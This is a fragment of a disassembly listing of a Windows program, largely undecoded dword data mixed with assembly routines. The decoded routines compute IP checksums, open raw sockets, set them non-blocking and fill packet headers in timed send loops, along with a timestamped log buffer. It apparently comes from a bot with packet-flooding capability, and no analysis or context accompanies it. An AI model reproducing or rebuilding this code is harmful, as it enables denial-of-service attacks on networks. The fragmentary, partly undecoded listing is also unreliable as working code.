		dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFB415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 7415FFFFh
		dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h
		dd 7415FF52h, 68004CAFh, 12345678h, 0E8458966h,	0AF7015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42AB7Ch, 77EEE850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42A9B8h, 77CEE850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9B0h
		dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h
		dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h,	1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CAF74h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	7415FF06h
		dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 8147E8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh
		dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h,	66FFFF6Ah
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CAFD815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 0C15FFFCh, 0FF004CB0h, 4CAF0815h,	858D5000h
		dd 0FFFFFDC4h, 500875FFh, 435DD468h, 0C0858D00h, 68FFFFFBh
		dd 200h, 76E6E850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h
		dd 22CBD18h, 0FFFC75FFh, 4CB00C15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 435D8468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h
		dd 0E8535959h, 22CBC88h
		db 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A5
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi

loc_414397:				; CODE XREF: ___:0041439Fj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414397
		pop	edi
		cmp	eax, 1

loc_4143A5:				; CODE XREF: ___:0041438Bj
		jnz	short loc_4143B2
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax

loc_4143B2:				; CODE XREF: ___:loc_4143A5j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_4143CB	db 55h			; DATA XREF: sub_401ACD+6D49o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 737Dh, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 5EB068FFh, 0E8500043h
		dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh
		dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 6F98E8F0h, 5959FFFFh, 7DE89056h, 55022CBBh, 0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270A8h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0AFF415FFh, 4589004Ch, 50D6FFF8h
		dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h
		dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0CCE89000h, 2B0227C2h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CE7281Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 707Ch, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CAF18h, 0FF68h, 0E8016A00h,	4150h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D57068h
		dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh,	868FFFFh
		dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CAFB4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CAF74h, 0AE458966h, 7345E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h,	66000073h
		dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h
		dd 7301E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 0D0E8E890h, 89667169h, 0FFFF5E85h,	60858DFFh
		dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CAFD815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0B00C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_4146CE	dw 8B55h		; DATA XREF: sub_401ACD+4CBFo
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	435EE4h, 7160E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h,	0C483FFFFh
		dd 0E8006A14h, 22CB8BCh, 0EC8B5590h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CAFF415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 4360D4h, 710CE850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF54h, 75FFF883h, 815FF0Eh
		dd 50004CAFh, 43608468h, 8D1BEB00h, 0FF500C45h,	4CAFB415h
		dd 0FFF88300h, 15FF2075h, 4CAF08h, 60406850h, 858D0043h
		dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 7415FF00h,	66004CAFh, 8DDE4589h, 90500C45h
		dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 601468FFh, 0E8500043h, 706Ah
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CE7283Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CAF18h, 0E8016A53h, 3DD4h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D57068ACh
		dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE10868h
		dd 0CDE85000h, 59000075h, 5C65659h, 4CE308h, 7415FF45h
		dd 66004CAFh, 4CE30AA3h, 0AC458D00h, 5C76650h, 4CE30Ch
		dd 89660001h, 4CE30E3Dh, 1005C600h, 80004CE3h, 0E31105C6h
		dd 6611004Ch, 0E3123D89h, 15FF004Ch, 4CAFB4h, 4CE314A3h
		dd 0E0458B00h, 4CE318A3h, 8C858D00h, 50000000h,	223D8966h
		dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6E10E8h, 0FF505900h
		dd 4CAF7415h, 1EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h
		dd 0F7000004h, 158966F9h, 4CE31Ch, 0AF7415FFh, 68004Ch
		dd 66000004h, 4CE320A3h, 6F3CE800h, 0F7990000h,	246852FBh
		dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h
		dd 4CE308h, 0FFF475FFh,	4CAFD815h, 0FFF88300h, 0A5840Fh
		dd 45FF0000h, 0D0E890FCh, 2B0227BDh, 0D233F845h, 3E8B9h
		dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 0C15FFF4h, 8B004CB0h,	858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6D59h, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FB068h
		dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CAF0815h, 458D5000h, 2468500Ch,	0EB00435Fh
		db 0ACh
byte_414A91	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6361o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h
		dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CAFB415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 610068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h,	0FFFFFBECh
		dd 67AE850h, 75FF0000h,	68D8E8F0h, 5959FFFFh, 0BDE89056h
		dd 5F022CB4h
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6E
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_414C2A
; ---------------------------------------------------------------------------

loc_414B6E:				; CODE XREF: ___:00414B58j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CAF1C
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CAF5C
		test	eax, eax
		jnz	short loc_414BD2
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------

loc_414BD2:				; CODE XREF: ___:00414BCBj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDD

loc_414BD9:				; CODE XREF: ___:00414BFDj
					; ___:00414C21j
		mov	eax, edi
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------

loc_414BDD:				; CODE XREF: ___:00414BD7j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414BFF
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BD9

loc_414BFF:				; CODE XREF: ___:00414BECj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	near ptr 71AB4122h
		nop
		cmp	eax, edi
		jz	short loc_414BD9
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax

loc_414C2A:				; CODE XREF: ___:00414B69j
					; ___:00414BD0j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
dword_414C30	dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh,	6AEC4D8Dh
		dd 26A5104h, 98A35053h,	0FF004CE7h, 4CAF5415h, 0A8358B00h
		dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h,	0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 7415FF50h
		dd 53004CAFh, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CAFF415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B00C15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0E79CBF83h, 2C68004Ch, 570042CAh,	6A85E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 2C685750h, 57004361h, 0E8F04589h,	6A46h
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h
		dd 4CAF7415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CE738h, 6717E8h, 0FFFFBE00h
		dd 5C60000h, 4CE738h, 685645h, 0C6000004h, 4CE74105h, 5C60600h
		dd 4CE739h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAF74h
		dd 0A366286Ah, 4CE73Ch,	0AF7415FFh, 0D80004Ch, 4CE740h
		dd 281D39FFh, 66004CE7h, 4CE73AA3h, 1D896600h, 4CE73Eh
		dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CE10868h, 0B415FF00h, 0A3004CAFh
		dd 4CE744h, 6808458Bh, 4000h, 4CE748A3h, 591D8800h, 0FF004CE7h
		dd 4CAF7415h, 66535600h, 4CE75AA3h, 3762E800h, 0F88B0000h
		dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AF7015FFh
		dd 50A3004Ch, 0A0004CE7h, 4CE758h, 24087D8Bh, 6A500C0Fh
		dd 0E758A214h, 8B66004Ch, 1D89F045h, 4CE754h, 5E1D8966h
		dd 66004CE7h, 4CE74EA3h, 743D8900h, 88004CE7h, 4CE7781Dh
		dd 7905C600h, 6004CE7h,	0AF7415FFh, 0A366004Ch,	4CE77Ah
		dd 0E74EA166h, 0C766004Ch, 4CE76005h, 89000200h, 4CE7643Dh
		dd 62A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 36CBE8h, 50595900h, 0AF7415FFh, 0A366004Ch
		dd 4CE74Ch, 4CE744A1h, 0E770A300h, 5C6004Ch, 4CE759h, 541D8902h
		dd 0EB004CE7h, 0C653561Fh, 4CE75905h, 95E81000h, 59000036h
		dd 15FF5059h, 4CAF74h, 0A3C0B70Fh, 4CE754h, 3C05FF66h
		dd 0FF004CE7h, 4CE75005h, 4EA16600h, 6A004CE7h,	4CBE5905h
		dd 0BF004CE7h, 4CE77Ch,	421D8966h, 66004CE7h, 0E75C1D89h
		dd 146A004Ch, 38BEA5F3h, 66004CE7h, 4CE762A3h, 25E85600h
		dd 6AFFFF5Ch, 0E7706820h, 0A366004Ch, 4CE742h, 0FF5C13E8h
		dd 10C483FFh, 0E75CA366h, 106A004Ch, 4CE76068h,	286A5300h
		dd 9835FF56h, 0FF004CE7h, 4CAFD815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 0B725E8FFh, 2B900227h, 0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 0E81075FFh, 225BDFDh
		dd 0FDC2E990h, 5E5FFFFFh, 4CE79CB8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B4	proc near		; CODE XREF: sub_401ACD+71FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D130
		mov	edi, 0B8h

loc_4150C8:				; CODE XREF: sub_4150B4+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EB
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EB
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43DCB0
		jl	short loc_4150C8
		jmp	short loc_41512D
; ---------------------------------------------------------------------------

loc_4150EB:				; CODE XREF: sub_4150B4+17j
					; sub_4150B4+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43D130[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_43D148[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_429230
		pop	ebx

loc_41512D:				; CODE XREF: sub_4150B4+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415134	proc near		; CODE XREF: sub_401ACD+28DDp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_436148
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D130

loc_41515E:				; CODE XREF: sub_415134+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415199
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_436134
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch

loc_415199:				; CODE XREF: sub_415134+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43DCB0
		jl	short loc_41515E
		pop	edi
		pop	esi
		leave
		retn
sub_415134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AC	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	near ptr 27700AFh
		nop
		mov	ebx, offset dword_4D2B9C
		mov	edi, 80h
		mov	esi, offset dword_4CEB9C

loc_4151CE:				; CODE XREF: sub_4151AC+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E5
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_4151E5:				; CODE XREF: sub_4151AC+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CE
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415220	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		leave
		retn
sub_415220	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524C	proc near		; CODE XREF: sub_401ACD+27D4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CEB9C
		xor	ecx, ecx

loc_415253:				; CODE XREF: sub_41524C+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D2B9C
		jl	short loc_415253
		cmp	[esp+arg_C], ecx
		jnz	short loc_415281
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_436194
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_415281:				; CODE XREF: sub_41524C+19j
		push	offset dword_436180
		call	sub_4151AC
		pop	ecx
		retn
sub_41524C	endp

; ---------------------------------------------------------------------------
byte_41528D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2887o
; ---------------------------------------------------------------------------
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_4152E0
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_4361C4
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_4152E0:				; CODE XREF: ___:004152C0j
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415300
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415300
		mov	[ebp-8], eax

loc_415300:				; CODE XREF: ___:004152E7j
					; ___:004152FBj
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CEB9C

loc_415309:				; CODE XREF: ___:00415361j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415363
		cmp	byte ptr [esi],	0
		jz	short loc_415352
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415338
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415338
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418086
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415352

loc_415338:				; CODE XREF: ___:0041531Dj
					; ___:00415323j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_415352:				; CODE XREF: ___:00415314j
					; ___:00415336j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D2B9C
		jl	short loc_415309

loc_415363:				; CODE XREF: ___:0041530Fj
		lea	eax, [ebp-31Ch]
		push	offset dword_4361A8
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539D
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_41539D:				; CODE XREF: ___:0041537Bj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 46h, 0ACh
; ---------------------------------------------------------------------------
		sub	al, 2
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BC	proc near		; CODE XREF: sub_401ACD+734Fp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
